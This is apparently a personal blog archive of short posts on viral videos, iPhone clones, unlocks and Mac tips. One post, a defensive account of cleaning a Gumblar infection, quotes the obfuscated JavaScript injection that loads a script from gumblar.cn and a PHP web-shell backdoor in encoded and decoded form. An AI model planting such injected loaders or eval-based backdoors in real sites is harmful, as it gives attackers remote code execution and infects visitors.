Dec 20

dresden1

This 26 Gigapixel photo was taken in Dresden, Germany.
It feels like CTU in 24 and their satellite capture, it’s unbelievable how much details are in the photo.
It would take “Where’s Waldo” to another level.

But it is not done by 1 shot, it actually requires a lot of effort, took 172 minutes to shoot, took 94 hours to stitch 1665 images (21.4 megapixel) this 102 GB gigantic photo.

You must try this out, this is wild!
  http://www.gigapixel-dresden.de

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Nov 11

I wonder how many bones this guy (Danny Macaskill) have to break to get to his level of skills.

Simply amazing!

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Jul 21

There are Michael Jackson Dancing Flash Mobs appearing around the World, here is a list of them. It is a definite that more and more will be appearing. It is a nice tribute to MJ, so this list will be updated as more are found, enjoy!

Stockholm

Taiwan

San Francisco

London
Not much of a flash mob, more people, camera than dancing.

Victoria, Canada
Mass Thriller

Paris
Mass Moon Walk

Vienna

Shanghai!

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Jun 26

No wonder the guy in front was in such a hurry! =)

In a Hurry

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Jun 22

A lot of Windows user switching over to Mac seems to confuse about the green button on the top left of a window, expecting it to maximize the window to full screen. But in fact that button is really not the same maximize button as Window’s world, but rather the Zoom button which merely maximize the Window to the content.

Here is a little video that explains the differences, and as well teaches you how to create a shortcut key for it (or click here to watch my video on youtube) :

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May 27

DeWorm

DeWorm

Ouch, some of my sites were attacked by Gumblar.cn exploit, and blacklisted by Google.
What it does is injecting malicious codes into .html, .php, .aspx and .js files, usually some snippet of javascript in the header right before the body tag in .html and .aspx files, and at the bottom of the .php and .js files. It will also generate a image.php and gifimg.php file in the images directory. It will do so randomly anywhere on the website. PC users visiting the site could be compromised.
First thing to do is to change ftp password, a stronger password would help. Then it takes me a long time to scrub through the sites, using scripts, search and replace, delete, ftp, to find and delete those scripts, and then about a day for Google to review the site again. Linux really help in this case in cleaning it up through command line, but not so with PC servers, where each file have to be checked manually.

Some analysis…
Here is one sample of the various injections :
var maV3C='%';var nW5R='var"20a"3d"22Scri"70t"45"6eg"69ne"22"2cb"3d"22Ver"73ion()+"22"2cj"3d"22"22"2c"75"3dn"61vig"61tor
"2e"75serA"67e"6et"3bif"28(u"2ei"6edex"4f"66"28"22W"69n"22)"3e0"29"26"26"28"75"2ein"64"65xOf"28"22"4e"54"206"22)"3c0)"26"26("64ocument"2e
cookie"2ein"64"65xOf("22m"69ek"3d"31"22)"3c"30)"26"26(t"79peof("7arvz"74s)"21"3d"74"79"70"65of"28"22"41"22"29"29)"7bz"72v"7ats"3d"22A"22"
3bev"61"6c("22i"66"28win"64ow"2e"22+a+"22"29"6a"3dj+"22"2b"61"2b"22"4daj"6fr"22+b+a+"22Minor"22+b"2b"61"2b"22Bui"6cd"22+"62"2b"22j"3b"22"
29"3b"64ocu"6dent"2e"77"72"69te("22"3cscript"20s"72c"3d"2f"2f"67u"6dbl"61r"2ecn"2frs"73"2f"3fid"3d"22+"6a+"22"3e"3c"5c"2fscri"70"74"3e"22
)"3b"7d';eval(unescape(nW5R.replace(b5nxj,maV3C)))})(/"/g);

This is the backdoor script in the image.php or gifimg.php file :
eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzM2MzQyYjMxMzgzNzJlMzIzMDMxMmUzMjMyMzUzYTdhNjk2MzZmNmM2MTNlNzA2NTc0NjQ3MjZjNjEnOw=='));

When decoded, here is the actual php script :
if(isset($_POST['e']))eval(base64_decode($_POST['e']));echo ‘36342b3138372e3230312e3232353a7a69636f6c613e70657464726c61′;

As you can see, it can run any php commands through that file on your server.

Here are a list of links related to the Gumblar trojan :
Gumblar explode across the Web
Beware of the Gumblar Worm
PHP exploit on the loose
12 Facts about the Gumblar Exploit
Removal and Prevention of Gumblar

Hope this helps.
What a pain… and 2 days wasted for no reason.

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Apr 02

I needed curl to do sftp recently, and found that the curl version came with Leopard is outdated and does not have the library “libssh2″ for sftp access.

curl -V would show you what options/library was compiled with it.

Then came macport which I previously installed.
Did a “port list curl” and found the curl version available was recent enough.
then “port info curl” would show you the variants available :
curl @7.19.3 (net, www)
Variants: ares, darwin_6, doc, gnutls, gss, idn, ipv6, openldap, sftp_scp, spnego, ssl, universal

sftp is there!

So simple enough, I did a “port install curl +sftp_scp” and sit back and relax.

To break it down in english : port please install curl and add the options of +sftp_scp
How simple can it be?

Macport is available at http://www.macports.org/, I recommend everyone to get it and have it installed, it is such a handy tool.

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Mar 27

Is this what the current “Great Recession” is going bring?

beggars

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Mar 18


MUTO a wall-painted animation by BLU from blu on Vimeo.

This graffiti artist blu captured his graffiti animation which is so mind boggling, somewhat creepy, but it is a work of art. I especially love how his drawing interact with surrounding objects. The animation and accompany audio really grabs your attention, I just wonder how long it takes to complete this work. The city is his canvas…

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Feb 18


BOOMBOX from Ely Kim on Vimeo.

Okay, I give him that, this Korean kid got guts and can dance, though sometimes hilariously. I am surprised even with all that exercises, he didn’t seem to have lost any weight at all!

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Jul 25

Okay… I want one of these please, you don’t see them, but they are there, so kewl!


Magnetic Movie from Semiconductor on Vimeo.

http://www.semiconductorfilms.com/root/Magnetic_Movie/Magnetic.htm

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Jul 23

Okay, this is unreal, because it is actually Sold Out!
This is sold as an unbreakable umbrella, but really more like a weapon to me.
http://www.real-self-defense.com/umbrella1.html

Check out why, especially see how he deals with the Watermelon, maybe it’s for good use in the kitchen !!

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Jul 23

Matt’s dance is really inspiring, and uplifting, I watched it so many times, gives you a break from any bad day, this would be a great video for kids, if you really want it, just do it. I wish I find this video some 20 years ago… =P

This video is the latest 2008 release collections of his dance all over the world, very nicely put together, notice how other people trying to mimic his goofy dance, you won’t regret watching it :


Where the Hell is Matt? (2008) from Matthew Harding on Vimeo.

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Jul 23

An excellent video funny video about Typeface names, which was presented at the Font Conference…

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Feb 28

Okay, iPhone is obviously a target for cloning, here is a list of iPhone wannabe that have pop-up here and there (China is definitely the King of copyright infringements, there is nothing that can’t be copied) :

CECT-p168
cect-p168-iphone-clone.jpg
http://gizmodo.com/gadgets/eew/blatant-iphone-clone-sucks-hard-283786.php


Pink iPhone Clone (Not even close!)iphone-pink.jpg
Click to watch video.


Meizu M8 (this is the nicer one)4260m8.jpg
http://en.meizu.com/userforum/forum_posts.asp?TID=1676


Hi-Phone (Even the box is cloned!)
Also known as D800i or 99% iphone clone, noticed there is only 3 rows of icons
52918.jpg
http://www.live25.co.uk/content/say-hello-hiphone


BTL M2801
m2801.jpg
http://www.iphoneworld.ca/news/2007/12/08/btl-m2801-iphone-clone-but-not-quite/


PI-Phone?deeda-piphone_1176454893.jpg
http://www.esato.com/news/article.php/id=1613


V2000 (not a phone)
v2000-real-player.jpg
http://www.pmptoday.com/2007/05/26/shearers-v2000-with-real-media-support/


Desay N8sku92394an1.jpg
http://thegadgetsite.blogspot.com/2007/10/desay-n8-pda-phone-is-iphone-clone.html


Awang A8+ (The shake phone! Same thing, another name)
awang-a8-iphone.jpg
http://www.iphoneworld.ca/news/2007/12/16/awang-a8-the-best-iphone-clone-so-far/

Watch the video and see how it shakes


MyPhone
There was a video commercial from a Chinese mobile company, which is totally hilarious, but Apple/YouTube took it down, but here is another copy of it :

The actors in the commercial are so fake…
Here is how much the HiPhone cost : 2380 Yen, that is about US$350, but they also include a led case, a 1 GB MicroSD, as well as 30,000 movies!! I guess these movies aren’t worth anything in China.


Here is where you can actually buy some of them, but let’s face it, the REAL iPhone rulez already, why the hell would anyone wants to save 1-200 bucks for fake ones that don’t necessary works the same. Don’t forget Apple will continue innovate, with the upcoming SDK, you will start to see a big pour out of new and exciting apps! Can’t wait…

If anyone find more clones, let me know, I will post them up here…

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Feb 08

iPhone Unlock

iPhone user wannabe rejoice!

Software unlock for brand new 1.1.2 or 1.1.3 firmware iphones can now be unlocked.

Thanks to hard work from George Hotz, he found an exploit to do software unlock on latest iphones which was previously thought impossible.

Here is a clear step by step instructions from Pinky’s Brain blog : http://pinkysbrain.wordpress.com/2008/02/08/unlock-iphone-otb-112113-bootloader-46-step-by-step-tutorial/

Here are some more news about it :
http://apple20.blogs.fortune.cnn.com/2008/02/08/how-to-unlock-a-113-iphone
http://www.engadget.com/2008/02/08/out-of-the-box-1-1-3-iphones-now-software-unlockable/

Hack away!!

Update

Even though Geohot is the king of hacks, Zibri’s ZiPhone that uses Geohot’s Gunlock bundles a whole bunch of stuff into a nice simple package is the most popular iphone jailbreak/unlock out there, check out his blog :
http://www.ziphone.org/
I have already seen a few 1.1.3 16gb unlock iphones around the company here.
I hope that Geohot and Zibri can just work together, stop the argument, have some fun and enjoy the ride….

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Jan 24

There are a lot of Super Mario music fans out there, take a look…

Blind folded piano :

Guitars :

Drums :

Flute and beatboxing :

11 Strings Base :

HANDS!!

Any type of instruments you can find on youtube.

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Jan 23

Okay, this is definitely possible, and does not look too difficult, just a touch hairy when opening the case, I probably won’t have to worry about it at least a few years down the road.

Warning : Doing this is of course voids your iPhone warranty. But I guess who cares, since they don’t even sell them in Canada!

Here is the original blog : http://video.gearlive.com/video/article/q407-replace-iphone-battery-tutorial/

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Jan 22

What’s with this one hand guitar playing, I mean I love Andy Mckee :

He is absolutely brilliant.

How about Antoine :Amazing but sick!

I mean who teaches them how to play guitar like that? Nobody!

Here is Four hands guitar :

And finally how about two hands two guitars! This Korean kid playing The Simpsons intro :

These guys are NUTS!

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Jan 21

Wiimote Jacket

I don’t think this is widely publicized, because I did not know about it until yesterday.

All new Nintendo Wii now comes with Wiimote Jacket, but they are extending the offer to those existing users. If you do not have a Wiimote Jacket, go ahead and click here : http://www.nintendo.com/consumer/jacket/jacketrequest.jsp

All they need is your Wii’s serial number, register online, and they will send you up to 4 jackets, free of charge!!

I have seen and tried these jackets, they actually looks and feels better then the ones I’ve just bought!!

Here is another blog about it : http://www.office-add.com/2007/10/nintendo-wii-remote-jacket-offer.html

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